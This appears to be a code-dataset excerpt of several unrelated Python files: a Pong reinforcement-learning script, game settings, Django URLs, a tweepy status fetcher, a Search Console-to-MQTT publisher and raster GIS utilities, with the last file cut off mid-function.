# Create p1 model that will be trained with PPO2 algo
p1_model = PPO2(policy=POLICY, env=env, verbose=True)
# Train p1 model on env for X timesteps
p1_model.learn(total_timesteps=TIMESTEPS)
# Create p2 model that will be trained with PPO2 algo
p2_model = PPO2(policy=POLICY, env=env, verbose=True)
# Train p2 model on env for X timesteps
p2_model.learn(total_timesteps=TIMESTEPS)
# Close previous env since we cannot have more than one in this same process
env.close()
# Create 2 player env
env_2p = retro.make(game=GAME_ENV, state=STATE_2P, players=2) # Creates the env that contains the genesis emulator
apply_wrappers(env_2p)
# Test the trained model
state = env_2p.reset()
while True:
env_2p.render()
# model takes as input a stack of 4 x 84x84 frames
# returns which buttons on the Genesis gamepad was pressed (an array of 12 bools)
p1_actions = p1_model.predict(state)
p2_actions = p2_model.predict(state)
#actions = env_2p.unwrapped.action_space.sample()
actions = np.append(p1_actions[0], p2_actions[0])
# pass those actions to the environement (emulator) so it can generate the next frame
# return:
# state = next stack of image
# reward outcome of the environement
# done: if the game is over
# info: variables used to create the reward and done functions (for debugging)
state, reward, done, info = env_2p.step(actions)
if done:
env_2p.reset()
if __name__ == '__main__':
main() | import retro
import numpy as np
from stable_baselines import PPO2
from stable_baselines.common.policies import CnnPolicy
from stable_baselines.common.atari_wrappers import WarpFrame, ClipRewardEnv, FrameStack
GAME_ENV = 'Pong-Atari2600'
STATE_1P = 'Start'
STATE_2P = 'Start.2P'
POLICY = 'CnnPolicy'
TIMESTEPS = 10000
def apply_wrappers(env):
env = WarpFrame(env) # Downsamples the game frame buffer to 84x84 greyscale pixel
env = FrameStack(env, 4) # Creates a stack of the last 4 frames to encode velocity
env = ClipRewardEnv(env) # Make sure returned reward from env is not out of bounds
return env
def main():
# Create Env
env = retro.make(game=GAME_ENV, state=STATE_1P) # Creates the env that contains the genesis emulator
apply_wrappers(env)
# Create p1 model that will be trained with PPO2 algo
p1_model = PPO2(policy=POLICY, env=env, verbose=True)
# Train p1 model on env for X timesteps
p1_model.learn(total_timesteps=TIMESTEPS)
# Create p2 model that will be trained with PPO2 algo
p2_model = PPO2(policy=POLICY, env=env, verbose=True)
# Train p2 model on env for X timesteps
p2_model.learn(total_timesteps=TIMESTEPS)
# Close previous env since we cannot have more than one in this same process
env.close()
# Create 2 player env
env_2p = retro.make(game=GAME_ENV, state=STATE_2P, players=2) # Creates the env that contains the genesis emulator
apply_wrappers(env_2p)
# Test the trained model
state = env_2p.reset()
while True:
env_2p.render()
# model takes as input a stack of 4 x 84x84 frames
# returns which buttons on the Genesis gamepad was pressed (an array of 12 bools)
p1_actions = p1_model.predict(state)
p2_actions = p2_model.predict(state)
#actions = env_2p.unwrapped.action_space.sample()
actions = np.append(p1_actions[0], p2_actions[0])
# pass those actions to the environement (emulator) so it can generate the next frame
# return:
# state = next stack of image
# reward outcome of the environement
# done: if the game is over
# info: variables used to create the reward and done functions (for debugging)
state, reward, done, info = env_2p.step(actions)
if done:
env_2p.reset()
if __name__ == '__main__':
main() | en | 0.865622 | # Downsamples the game frame buffer to 84x84 greyscale pixel # Creates a stack of the last 4 frames to encode velocity # Make sure returned reward from env is not out of bounds # Create Env # Creates the env that contains the genesis emulator # Create p1 model that will be trained with PPO2 algo # Train p1 model on env for X timesteps # Create p2 model that will be trained with PPO2 algo # Train p2 model on env for X timesteps # Close previous env since we cannot have more than one in this same process # Create 2 player env # Creates the env that contains the genesis emulator # Test the trained model # model takes as input a stack of 4 x 84x84 frames # returns which buttons on the Genesis gamepad was pressed (an array of 12 bools) #actions = env_2p.unwrapped.action_space.sample() # pass those actions to the environement (emulator) so it can generate the next frame # return: # state = next stack of image # reward outcome of the environement # done: if the game is over # info: variables used to create the reward and done functions (for debugging) | 2.481204 | 2 |
settings.py | MBaig2/RPG_SideScrolling_Game | 0 | 6616168 | # define some colors (R, G, B)
WHITE = (255, 255, 255)
BLACK = (0, 0, 0)
DARKGREY = (40, 40, 40)
LIGHTGREY = (100, 100, 100)
GREEN = (0, 255, 0)
RED = (255, 0, 0)
YELLOW = (255, 255, 0)
# game settings
WIDTH = 1024 # 16 * 64 or 32 * 32 or 64 * 16
HEIGHT = 768 # 16 * 48 or 32 * 24 or 64 * 12
FPS = 60
TITLE = "ExtraTerrestial Platformer"
BGCOLOR = DARKGREY
CAMERA_SMOOTHNESS_FACTOR = 0.06
GRAVITY = 0.5
TILESIZE = 32
GRIDWIDTH = WIDTH / TILESIZE
GRIDHEIGHT = HEIGHT / TILESIZE
# Player settings
PLAYER_MASS = 1
PLAYER_ACC = 0.5
PLAYER_FRICTION = -0.12
PLAYER_JUMP = -15
PLAYER_SPRITESHEET = "dwarf-m-001.png"
PLAYER_VELX_EPSILON = 0.5
PLAYER_ANIM_SPEED = 200 # Speed of walking animation, in ms
| # define some colors (R, G, B)
WHITE = (255, 255, 255)
BLACK = (0, 0, 0)
DARKGREY = (40, 40, 40)
LIGHTGREY = (100, 100, 100)
GREEN = (0, 255, 0)
RED = (255, 0, 0)
YELLOW = (255, 255, 0)
# game settings
WIDTH = 1024 # 16 * 64 or 32 * 32 or 64 * 16
HEIGHT = 768 # 16 * 48 or 32 * 24 or 64 * 12
FPS = 60
TITLE = "ExtraTerrestial Platformer"
BGCOLOR = DARKGREY
CAMERA_SMOOTHNESS_FACTOR = 0.06
GRAVITY = 0.5
TILESIZE = 32
GRIDWIDTH = WIDTH / TILESIZE
GRIDHEIGHT = HEIGHT / TILESIZE
# Player settings
PLAYER_MASS = 1
PLAYER_ACC = 0.5
PLAYER_FRICTION = -0.12
PLAYER_JUMP = -15
PLAYER_SPRITESHEET = "dwarf-m-001.png"
PLAYER_VELX_EPSILON = 0.5
PLAYER_ANIM_SPEED = 200 # Speed of walking animation, in ms
| en | 0.582691 | # define some colors (R, G, B) # game settings # 16 * 64 or 32 * 32 or 64 * 16 # 16 * 48 or 32 * 24 or 64 * 12 # Player settings # Speed of walking animation, in ms | 2.096649 | 2 |
polls/urls.py | MikSuki/SMA | 0 | 6616169 | <reponame>MikSuki/SMA
from django.urls import path
from . import views
urlpatterns = [
path('search', views.search, name='search'),
path('result', views.result, name='result'),
] | from django.urls import path
from . import views
urlpatterns = [
path('search', views.search, name='search'),
path('result', views.result, name='result'),
] | none | 1 | 1.618136 | 2 | |
python/gettweetdata.py | miyagaw61/miyagawtools | 2 | 6616170 | import sys, tweepy, re
if(sys.argv[1] == "-h"):
print("Usage: python gettweetdata.py statusid\n\
statusid : tweet's status id")
sys.exit(0)
n_regex = re.compile(r"\n")
HOME = '/home/miyagaw61'
CK = open(HOME + '/mgtools/conf/twitter/twitter.CK').read()
CS = open(HOME + '/mgtools/conf/twitter/twitter.CS').read()
AT = open(HOME + '/mgtools/conf/twitter/twitter.AT').read()
AS = open(HOME + '/mgtools/conf/twitter/twitter.AS').read()
CK = n_regex.sub("", CK)
CS = n_regex.sub("", CS)
AT = n_regex.sub("", AT)
AS = n_regex.sub("", AS)
auth = tweepy.OAuthHandler(CK, CS)
auth.set_access_token(AT, AS)
api = tweepy.API(auth)
status_id = sys.argv[1]
try:
print(api.get_status(status_id))
except:
print('error')
| import sys, tweepy, re
if(sys.argv[1] == "-h"):
print("Usage: python gettweetdata.py statusid\n\
statusid : tweet's status id")
sys.exit(0)
n_regex = re.compile(r"\n")
HOME = '/home/miyagaw61'
CK = open(HOME + '/mgtools/conf/twitter/twitter.CK').read()
CS = open(HOME + '/mgtools/conf/twitter/twitter.CS').read()
AT = open(HOME + '/mgtools/conf/twitter/twitter.AT').read()
AS = open(HOME + '/mgtools/conf/twitter/twitter.AS').read()
CK = n_regex.sub("", CK)
CS = n_regex.sub("", CS)
AT = n_regex.sub("", AT)
AS = n_regex.sub("", AS)
auth = tweepy.OAuthHandler(CK, CS)
auth.set_access_token(AT, AS)
api = tweepy.API(auth)
status_id = sys.argv[1]
try:
print(api.get_status(status_id))
except:
print('error')
| none | 1 | 2.576826 | 3 | |
geolocation/DisplayGeoIP.py | harishpichukala/Anomaly | 1 | 6616171 | from mapper import mapper
from ip2location import ip2location
class DisplayGeoIP(mapper,ip2location):
'''Displays Geographical location of the ip address on the google map and inheritef from mapper,ip2location classes'''
def __init__(self,ip_list,locations=[]):
ip2location.__init__(self,ip_list)
mapper.__init__(self,locations)
def show(self):
'''shows the locations'''
self.convert_ip_to_integer()
self.get_from_db()
self.locations=self.get_location_info()
self.displaylocations()
| from mapper import mapper
from ip2location import ip2location
class DisplayGeoIP(mapper,ip2location):
'''Displays Geographical location of the ip address on the google map and inheritef from mapper,ip2location classes'''
def __init__(self,ip_list,locations=[]):
ip2location.__init__(self,ip_list)
mapper.__init__(self,locations)
def show(self):
'''shows the locations'''
self.convert_ip_to_integer()
self.get_from_db()
self.locations=self.get_location_info()
self.displaylocations()
| en | 0.853206 | Displays Geographical location of the ip address on the google map and inheritef from mapper,ip2location classes shows the locations | 3.120297 | 3 |
sc-to-mqtt.py | softplus/searchconsole-to-mqtt | 1 | 6616172 | <filename>sc-to-mqtt.py
#!/usr/bin/python3
# -*- coding: utf-8 -*-
#
# Send Search Console Clicks, Impressions to MQTT
#
# <NAME>
# SPDX-License-Identifier: Apache-2.0
#
# Prerequisites:
# paho mqtt - https://pypi.org/project/paho-mqtt/
# pip3 install paho-mqtt
# Google APIs - https://developers.google.com/webmaster-tools/search-console-api-original/v3/quickstart/quickstart-python
# pip3 install --upgrade google-api-python-client
# client-secrets.json - from Google API
#
from paho.mqtt import client as mqtt_client
from googleapiclient import sample_tools
from configparser import ConfigParser
import json
import datetime
import argparse
import sys
CONFIG_FILE = 'sc-to-mqtt.ini'
argparser = argparse.ArgumentParser(add_help=False)
argparser.add_argument('--noconfig', help="Don't send sensor config data", action="store_true")
argparser.add_argument('--remove', help="Remove sensors, don't send data", action="store_true")
argparser.add_argument('--config', default=CONFIG_FILE, help="Configuration file")
argparser.add_argument('--add7', help="Add data from 7 days ago", action="store_true")
def url_to_id(url):
# Replace cruft from URL to make a MQTT topic ID
s = url.replace("http://", "").replace("https://", "").replace("sc-domain:", "")
s = s.replace(":", "_").replace(".", "_").replace("/", "")
return s
def connect_mqtt(config):
# setup & connect to MQTT client
client_id = config.get("config", "client_id")
client = mqtt_client.Client(client_id)
client.on_log = lambda client,obj,lev,stri : print("MQTT: ", stri)
if config.get("config", "mqtt_username"):
client.username_pw_set(config.get("config", "mqtt_username"),
config.get("config", "mqtt_password"))
client.connect(config.get("config", "mqtt_broker"),
int(config.get("config", "mqtt_port")))
return client
def config_sensors(client, sites, config, add_7_day):
# Send sensor info for auto-discovery in Home Assistant
for site in sites:
siteid = url_to_id(site)
siteurl = site
topicid = config.get("config", "mqtt_prefix") + siteid
conf = {"state_topic": topicid + "/state"}
conf.update( { "device": {"name": siteurl, "identifiers": siteurl + "#ID",
"manufacturer": "Google", "model": "Search Console" } })
fields = [["Data age", "age", "hrs"],
["Impressions", "impressions", "x"],
["Clicks", "clicks", "x"]]
if add_7_day:
fields.append(["Impressions-7", "impressions7", "x"])
fields.append(["Clicks-7", "clicks7", "x"])
for f in fields:
conf.update( {"name": f[0],
"unit_of_measurement": f[2],
"value_template": "{{ value_json." + f[1] + "}}",
"unique_id": siteid + f[1]})
client.publish(topicid + f[1] + "/config", json.dumps(conf))
def unconfigure_sensors(config, sites):
# remove sensors from Home Asssitant setup by sending empty configs
print("Removing sensors...")
client = connect_mqtt(config)
for site in sites:
siteid = url_to_id(site)
for sensor in ["clicks", "impressions", "age", "impressions7", "clicks7"]:
client.publish(config.get("config", "mqtt_prefix") + siteid + sensor + "/config", "")
client.publish(config.get("config", "mqtt_prefix") + siteid + "/config", "")
config.set(site, "status", "Unconfigured")
config.set(site, "status_date", datetime.datetime.utcnow().isoformat())
def do_it(service, config, sites, configure_mqtt=True, add_7_day=True):
# Connect to MQTT, Get SC data, Send to MQTT
client = connect_mqtt(config)
if configure_mqtt: config_sensors(client, sites, config, add_7_day)
# request data from last 7 days; use last entry
start_date = (datetime.datetime.utcnow() + datetime.timedelta(days=-7)).strftime("%Y-%m-%d")
end_date = (datetime.datetime.utcnow() + datetime.timedelta(days=1)).strftime("%Y-%m-%d")
request = { 'startDate': start_date, 'endDate': end_date, 'dimensions': ['date'], 'dataState': 'all' }
for site in sites:
response = service.searchanalytics().query(siteUrl=site, body=request).execute()
if "rows" in response:
# Get the freshest data, nom nom
row = response["rows"][-1]
if not config.has_section(site): config.add_section(site)
# calculate age in hours (hacky, since we just have a date)
fresh_date = row["keys"][0]
data_age = (datetime.datetime.utcnow() -
datetime.datetime.strptime(fresh_date, '%Y-%m-%d'))
data_age_hrs = round(data_age.days*24 + data_age.seconds/(60*60), 1)
# Create & send MQTT message
data = {"impressions": row["impressions"], "clicks": row["clicks"], "age": data_age_hrs}
if add_7_day:
data["impressions7"] = response["rows"][0]["impressions"]
data["clicks7"] = response["rows"][0]["clicks"]
topicid = config.get("config", "mqtt_prefix") + url_to_id(site)
client.publish(topicid + '/state', json.dumps(data))
# Log to config file
config.set(site, "last_row", json.dumps(row))
config.set(site, "status", "Sent")
config.set(site, "status_date", datetime.datetime.utcnow().isoformat())
def main(argv):
# connect to SC, etc
print(datetime.datetime.utcnow().isoformat(), " - ", __file__, " - started")
service, flags = sample_tools.init(
argv, 'searchconsole', 'v1', __doc__, __file__, parents=[argparser],
scope='https://www.googleapis.com/auth/webmasters.readonly')
state = ConfigParser()
state.read(flags.config)
# settings defaults
if not state.has_section("config"): state.add_section("config")
if not state.has_option("config", "mqtt_broker"): state.set("config", "mqtt_broker", "localhost")
if not state.has_option("config", "mqtt_port"): state.set("config", "mqtt_port", "1883")
if not state.has_option("config", "mqtt_username"): state.set("config", "mqtt_username", "")
if not state.has_option("config", "mqtt_password"): state.set("config", "mqtt_password", "")
if not state.has_option("config", "client_id"): state.set("config", "client_id", "pythonForSeo")
if not state.has_option("config", "mqtt_prefix"): state.set("config", "mqtt_prefix", "homeassistant/sensor/sc_")
with open(flags.config, "w") as configfile: state.write(configfile)
if not state.has_option("config", "sites"):
# Get some verified site URLs
site_list = service.sites().list().execute()
verified_sites_urls = [s['siteUrl'] for s in site_list['siteEntry'] if s['permissionLevel'] != 'siteUnverifiedUser']
sites = verified_sites_urls[:2] # pick first 2 verified sites to try out
print("Using these verified sites: ", sites)
state.set("config", "sites", ", ".join(sites))
with open(flags.config, "w") as configfile: state.write(configfile)
sites = state.get("config", "sites").split(",")
sites = [x.strip() for x in sites]
if flags.remove:
unconfigure_sensors(state, sites)
else:
do_it(service, state, sites, configure_mqtt=(not flags.noconfig), add_7_day=flags.add7)
with open(flags.config, "w") as configfile: state.write(configfile)
print(datetime.datetime.utcnow().isoformat(), " - ", __file__, " - done")
if __name__ == '__main__':
main(sys.argv)
| <filename>sc-to-mqtt.py
#!/usr/bin/python3
# -*- coding: utf-8 -*-
#
# Send Search Console Clicks, Impressions to MQTT
#
# <NAME>
# SPDX-License-Identifier: Apache-2.0
#
# Prerequisites:
# paho mqtt - https://pypi.org/project/paho-mqtt/
# pip3 install paho-mqtt
# Google APIs - https://developers.google.com/webmaster-tools/search-console-api-original/v3/quickstart/quickstart-python
# pip3 install --upgrade google-api-python-client
# client-secrets.json - from Google API
#
from paho.mqtt import client as mqtt_client
from googleapiclient import sample_tools
from configparser import ConfigParser
import json
import datetime
import argparse
import sys
CONFIG_FILE = 'sc-to-mqtt.ini'
argparser = argparse.ArgumentParser(add_help=False)
argparser.add_argument('--noconfig', help="Don't send sensor config data", action="store_true")
argparser.add_argument('--remove', help="Remove sensors, don't send data", action="store_true")
argparser.add_argument('--config', default=CONFIG_FILE, help="Configuration file")
argparser.add_argument('--add7', help="Add data from 7 days ago", action="store_true")
def url_to_id(url):
# Replace cruft from URL to make a MQTT topic ID
s = url.replace("http://", "").replace("https://", "").replace("sc-domain:", "")
s = s.replace(":", "_").replace(".", "_").replace("/", "")
return s
def connect_mqtt(config):
# setup & connect to MQTT client
client_id = config.get("config", "client_id")
client = mqtt_client.Client(client_id)
client.on_log = lambda client,obj,lev,stri : print("MQTT: ", stri)
if config.get("config", "mqtt_username"):
client.username_pw_set(config.get("config", "mqtt_username"),
config.get("config", "mqtt_password"))
client.connect(config.get("config", "mqtt_broker"),
int(config.get("config", "mqtt_port")))
return client
def config_sensors(client, sites, config, add_7_day):
# Send sensor info for auto-discovery in Home Assistant
for site in sites:
siteid = url_to_id(site)
siteurl = site
topicid = config.get("config", "mqtt_prefix") + siteid
conf = {"state_topic": topicid + "/state"}
conf.update( { "device": {"name": siteurl, "identifiers": siteurl + "#ID",
"manufacturer": "Google", "model": "Search Console" } })
fields = [["Data age", "age", "hrs"],
["Impressions", "impressions", "x"],
["Clicks", "clicks", "x"]]
if add_7_day:
fields.append(["Impressions-7", "impressions7", "x"])
fields.append(["Clicks-7", "clicks7", "x"])
for f in fields:
conf.update( {"name": f[0],
"unit_of_measurement": f[2],
"value_template": "{{ value_json." + f[1] + "}}",
"unique_id": siteid + f[1]})
client.publish(topicid + f[1] + "/config", json.dumps(conf))
def unconfigure_sensors(config, sites):
# remove sensors from Home Asssitant setup by sending empty configs
print("Removing sensors...")
client = connect_mqtt(config)
for site in sites:
siteid = url_to_id(site)
for sensor in ["clicks", "impressions", "age", "impressions7", "clicks7"]:
client.publish(config.get("config", "mqtt_prefix") + siteid + sensor + "/config", "")
client.publish(config.get("config", "mqtt_prefix") + siteid + "/config", "")
config.set(site, "status", "Unconfigured")
config.set(site, "status_date", datetime.datetime.utcnow().isoformat())
def do_it(service, config, sites, configure_mqtt=True, add_7_day=True):
# Connect to MQTT, Get SC data, Send to MQTT
client = connect_mqtt(config)
if configure_mqtt: config_sensors(client, sites, config, add_7_day)
# request data from last 7 days; use last entry
start_date = (datetime.datetime.utcnow() + datetime.timedelta(days=-7)).strftime("%Y-%m-%d")
end_date = (datetime.datetime.utcnow() + datetime.timedelta(days=1)).strftime("%Y-%m-%d")
request = { 'startDate': start_date, 'endDate': end_date, 'dimensions': ['date'], 'dataState': 'all' }
for site in sites:
response = service.searchanalytics().query(siteUrl=site, body=request).execute()
if "rows" in response:
# Get the freshest data, nom nom
row = response["rows"][-1]
if not config.has_section(site): config.add_section(site)
# calculate age in hours (hacky, since we just have a date)
fresh_date = row["keys"][0]
data_age = (datetime.datetime.utcnow() -
datetime.datetime.strptime(fresh_date, '%Y-%m-%d'))
data_age_hrs = round(data_age.days*24 + data_age.seconds/(60*60), 1)
# Create & send MQTT message
data = {"impressions": row["impressions"], "clicks": row["clicks"], "age": data_age_hrs}
if add_7_day:
data["impressions7"] = response["rows"][0]["impressions"]
data["clicks7"] = response["rows"][0]["clicks"]
topicid = config.get("config", "mqtt_prefix") + url_to_id(site)
client.publish(topicid + '/state', json.dumps(data))
# Log to config file
config.set(site, "last_row", json.dumps(row))
config.set(site, "status", "Sent")
config.set(site, "status_date", datetime.datetime.utcnow().isoformat())
def main(argv):
# connect to SC, etc
print(datetime.datetime.utcnow().isoformat(), " - ", __file__, " - started")
service, flags = sample_tools.init(
argv, 'searchconsole', 'v1', __doc__, __file__, parents=[argparser],
scope='https://www.googleapis.com/auth/webmasters.readonly')
state = ConfigParser()
state.read(flags.config)
# settings defaults
if not state.has_section("config"): state.add_section("config")
if not state.has_option("config", "mqtt_broker"): state.set("config", "mqtt_broker", "localhost")
if not state.has_option("config", "mqtt_port"): state.set("config", "mqtt_port", "1883")
if not state.has_option("config", "mqtt_username"): state.set("config", "mqtt_username", "")
if not state.has_option("config", "mqtt_password"): state.set("config", "mqtt_password", "")
if not state.has_option("config", "client_id"): state.set("config", "client_id", "pythonForSeo")
if not state.has_option("config", "mqtt_prefix"): state.set("config", "mqtt_prefix", "homeassistant/sensor/sc_")
with open(flags.config, "w") as configfile: state.write(configfile)
if not state.has_option("config", "sites"):
# Get some verified site URLs
site_list = service.sites().list().execute()
verified_sites_urls = [s['siteUrl'] for s in site_list['siteEntry'] if s['permissionLevel'] != 'siteUnverifiedUser']
sites = verified_sites_urls[:2] # pick first 2 verified sites to try out
print("Using these verified sites: ", sites)
state.set("config", "sites", ", ".join(sites))
with open(flags.config, "w") as configfile: state.write(configfile)
sites = state.get("config", "sites").split(",")
sites = [x.strip() for x in sites]
if flags.remove:
unconfigure_sensors(state, sites)
else:
do_it(service, state, sites, configure_mqtt=(not flags.noconfig), add_7_day=flags.add7)
with open(flags.config, "w") as configfile: state.write(configfile)
print(datetime.datetime.utcnow().isoformat(), " - ", __file__, " - done")
if __name__ == '__main__':
main(sys.argv)
| en | 0.669011 | #!/usr/bin/python3 # -*- coding: utf-8 -*- # # Send Search Console Clicks, Impressions to MQTT # # <NAME> # SPDX-License-Identifier: Apache-2.0 # # Prerequisites: # paho mqtt - https://pypi.org/project/paho-mqtt/ # pip3 install paho-mqtt # Google APIs - https://developers.google.com/webmaster-tools/search-console-api-original/v3/quickstart/quickstart-python # pip3 install --upgrade google-api-python-client # client-secrets.json - from Google API # # Replace cruft from URL to make a MQTT topic ID # setup & connect to MQTT client # Send sensor info for auto-discovery in Home Assistant # remove sensors from Home Asssitant setup by sending empty configs # Connect to MQTT, Get SC data, Send to MQTT # request data from last 7 days; use last entry # Get the freshest data, nom nom # calculate age in hours (hacky, since we just have a date) # Create & send MQTT message # Log to config file # connect to SC, etc # settings defaults # Get some verified site URLs # pick first 2 verified sites to try out | 2.473017 | 2 |
girs/rast/proc.py | JRoehrig/GIRS | 0 | 6616173 | <gh_stars>0
from __future__ import division
from builtins import str
from builtins import range
from past.utils import old_div
import numpy as np
from osgeo import gdal, gdal_array
from girs.rast.parameter import RasterParameters
from girs.rast.raster import get_driver, RasterReader, RasterWriter
from girs.geom.envelope import merge_envelopes, buffer_envelope
def get_parameters_from_raster(r):
try:
r = RasterReader(r)
except AttributeError:
pass
try:
return r.get_parameters()
except AttributeError:
return None
def mosaic(*args, **kwargs):
"""
:param args:
:param kwargs:
:return:
"""
# Handle the case of *args being a tuple of list
rp0 = get_parameters_from_raster(args[0])
if not rp0:
args = args[0]
rp0 = get_parameters_from_raster(args[0])
gt0 = rp0.geo_trans
raster_parameters = [rp0]
for i in range(1, len(args)):
raster_parameters.append(get_parameters_from_raster(args[i]))
envs = [rp0.get_extent_world() for rp0 in raster_parameters]
env = merge_envelopes(envs, extent_type='union')
env = buffer_envelope(env, (-gt0[1]*0.5, gt0[5]*0.5))
(u_min, u_max, v_min, v_max), geo_trans = rp0.extent_world_to_pixel(*env)
u_min, u_max = 0, u_max - u_min
v_min, v_max = 0, v_max - v_min
rp_out = RasterParameters(u_max+1, v_max+1, geo_trans, rp0.srs, rp0.number_of_bands, rp0.nodata, rp0.data_types,
driver_short_name=rp0.driverShortName)
r_out = RasterWriter(rp_out, kwargs.pop('output_raster', None))
for i in range(rp_out.number_of_bands):
bn = i + 1
dtype = gdal_array.GDALTypeCodeToNumericTypeCode(rp_out.data_types[i])
array_out = np.full((rp_out.RasterYSize, rp_out.RasterXSize), rp_out.nodata[i], dtype)
for arg in args:
try:
r = RasterReader(arg)
except AttributeError:
r = arg
p = r.get_parameters()
x_min, y_max = p.pixel_to_world(0, 0)
x_min, y_max = x_min + (p.geo_trans[1] * 0.5), (y_max + p.geo_trans[5] * 0.5)
u_min, v_min = rp_out.world_to_pixel(x_min, y_max)
array = r.get_array(band_number=bn)
array_out[v_min:v_min+p.RasterYSize, u_min:u_min+p.RasterXSize] = array
r_out.set_array(array=array_out, band_number=bn)
return r_out
def composite(*args, **kwargs):
"""
:param args: Raster or filenames
:param kwargs:
:key output_raster: filename of the output raster
:return:
"""
p = get_parameters_from_raster(args[0])
if not p:
args = args[0]
p = get_parameters_from_raster(args[0])
p.number_of_bands = len(args)
r_out = RasterWriter(p, kwargs.pop('output_raster', None))
for i, arg in enumerate(args):
try:
r = RasterReader(arg)
except AttributeError:
r = arg
r_out.set_array(r.get_array(), i+1)
r_out.dataset.FlushCache()
return r_out
def calculate(calc, **kwargs):
"""Examples::
# Returns in 'MEM', applying the algebra to raster R, bands 1 and 2
calculate("(R1-R2)/(R1+R2)", R='C:/tmp/raster1.tif')
# Save to file
calculate("(R1-R2)/(R1+R2)", R='C:/tmp/raster1.tif', output_raster='C:/tmp/ndvi.tif')
# Using lists of bands. Note that [1:2] means band 1 and band 2. band numbers start at
# 1 and include the last index
calculate("(R[1, 2]+S[1, 2])/(R[1, 2]-S[1, 2])")
# ... which is equivalent to
calculate("(R[:2]+S[:2])/(R[:2]-S[:2])")
# Applying calculate to all bands
calculate("(R[:]+S[:])/(R[:]-S[:])")
# This is also possible:
calculate("(R[1, 2]+S[3, 4])/(R[:2]-S[1, 4])")
See also:
- https://svn.osgeo.org/gdal/trunk/gdal/swig/python/scripts/gdal_calc.py
- https://github.com/rveciana/geoexamples/blob/master/python/gdal-performance/classification_blocks.py
:param calc: algebraic operation supported by numpy arrays "(R1-R2)/(R1+R2)", where R1 and R2 are the keys used in the argument rasters:
- R1: raster R band 1
- R2: raster R band 2
:param kwargs:
- `<letter>` (a letter used in calc, string): filename or Raster instance
- `output_raster` (str): filename of the new rasters
- `driver` (str): driver name
:return:
"""
output_raster = kwargs.pop('output_raster', '')
driver = kwargs.pop('driver', None)
driver = get_driver(output_raster, driver)
driver = driver.ShortName
r = RasterReader(list(kwargs.values())[0])
# Separate list of bands in single calculations
calc = _parse_range_to_list(calc, r.get_band_count())
calculations = _split_calculation(calc)
raster_parameters = r.get_parameters()
raster_parameters.driverShortName = driver
raster_parameters.number_of_bands = len(calculations)
r_out = RasterWriter(raster_parameters, output_raster)
for i, calc in enumerate(calculations):
calc_dict = _get_symbol_and_masked_arrays(calc, kwargs)
arr = eval(calc, calc_dict)
r_out.set_array(arr.data, i+1)
r_out.dataset.FlushCache()
return r_out
def resample(input_raster, pixel_sizes, resample_alg=gdal.GRA_NearestNeighbour, **kwargs):
"""
Args:
input_raster: file name of a rasters or a Raster object
pixel_sizes (list, str or Raster): list of pixel_width, pixel_height, file name of a rasters, or Raster object
kwargs:
'output_raster' (string): filename of the new rasters.
'driver' (string): driver name (e.g., 'MEM')
"""
try:
pixel_width, pixel_height = float(pixel_sizes), float(pixel_sizes)
except:
try:
pixel_width, pixel_height = pixel_sizes
pixel_width, pixel_height = float(pixel_width), float(pixel_height)
except:
try:
raster0 = RasterReader(pixel_sizes)
except:
raster0 = pixel_sizes
pixel_width, pixel_height = raster0.get_pixel_size()
del raster0
try:
input_raster = RasterReader(input_raster)
except:
pass
x_min, x_max, y_min, y_max = input_raster.get_extent()
driver = get_driver(kwargs['output_raster'] if 'output_raster' in kwargs else None,
kwargs['driver'] if 'driver' in kwargs else None)
driver = driver.ShortName
len_x = x_max-x_min
len_y = y_max-y_min
u_max, v_max = int(old_div(len_x,pixel_width)), int(old_div(len_y,pixel_height))
if (old_div((len_x - u_max * pixel_width), pixel_width)) > 0.5:
u_max += 1
if (old_div((len_y - v_max * pixel_height), pixel_height)) > 0.5:
v_max += 1
gt_out = list(input_raster.get_geotransform()) # make it mutable
gt_out[1], gt_out[5] = pixel_width, -pixel_height
name = kwargs.get('output_raster', None)
driver = kwargs.get('driver', None)
raster_parameters = input_raster.get_parameters()
raster_parameters.RasterXSize = u_max
raster_parameters.RasterYSize = v_max
raster_parameters.geo_trans = gt_out
raster_parameters.driverShortName = driver
raster_out = RasterWriter(raster_parameters, name)
gdal.ReprojectImage(input_raster.dataset, raster_out.dataset, input_raster.get_coordinate_system(), raster_out.get_coordinate_system(), resample_alg)
return raster_out
def strip(input_raster):
"""Remove top and bottom rows, and left and right columns containing only nodata
:param input_raster:
:return:
"""
import numpy as np
raster_parameters = input_raster.get_parameters()
u_min = v_min = 0
u_max, v_max = input_raster.get_raster_size()
u_min_min, v_min_min = u_max, v_max
u_max_max, v_max_max = u_min, v_min
for bn in range(1, input_raster.get_band_count() + 1):
array = input_raster.get_array()
nodata = input_raster.get_nodata(bn)
if nodata is np.nan or nodata is None:
for u_min in range(u_min, u_max):
if not np.all(np.isnan(array[:, u_min])):
break
for u_max in range(u_max-1, u_min, -1):
if not np.all(np.isnan(array[:, u_max])):
break
for v_min in range(v_min, v_max):
if not np.all(np.isnan(array[v_min, :])):
break
for v_max in range(v_max-1, v_min, -1):
if not np.all(np.isnan(array[v_max:, :])):
break
else:
for u_min in range(u_min, u_max):
if not np.all((array[:, u_min] == nodata)):
break
for u_max in range(u_max-1, u_min, -1):
if not np.all((array[:, u_max] == nodata)):
break
for v_min in range(v_min, v_max):
if not np.all((array[v_min, :] == nodata)):
break
for v_max in range(v_max-1, v_min, -1):
if not np.all((array[v_max:, :] == nodata)):
break
u_min_min = min(u_min_min, u_min)
u_max_max = max(u_max_max, u_max)
v_min_min = min(v_min_min, v_min)
v_max_max = max(v_max_max, v_max)
x_min, y_max = raster_parameters.pixel_to_world(u_min_min, v_min_min)
raster_parameters.geo_trans = list(raster_parameters.geo_trans)
raster_parameters.geo_trans[0], raster_parameters.geo_trans[3] = x_min, y_max
raster_parameters.RasterXSize = u_max_max - u_min_min + 1
raster_parameters.RasterYSize = v_max_max - v_min_min + 1
output_raster = RasterWriter(raster_parameters, input_raster.get_rastername())
for bn in range(1, input_raster.get_band_count() + 1):
array = input_raster.get_array(band_number=bn, col0=u_min_min, row0=v_min_min,
n_cols=raster_parameters.RasterXSize,
n_rows=raster_parameters.RasterYSize)
r_band = output_raster.get_band(bn)
r_band.WriteArray(array)
output_raster.dataset.FlushCache()
return output_raster
# =============================================================================
# Utilities
# =============================================================================
def _get_symbol_and_masked_arrays(calc, symbol_dict):
symbol_keys = sorted(symbol_dict.keys())
def _starts_with(s):
for k in symbol_keys:
if s.startswith(k):
return True
return False
def _get_symbol(calc0):
key0 = ''
band0 = ''
if not _starts_with(calc0[0]):
return key0, band0, calc0[1:] if len(calc0) > 1 else ''
while calc0 and _starts_with(calc0[0]):
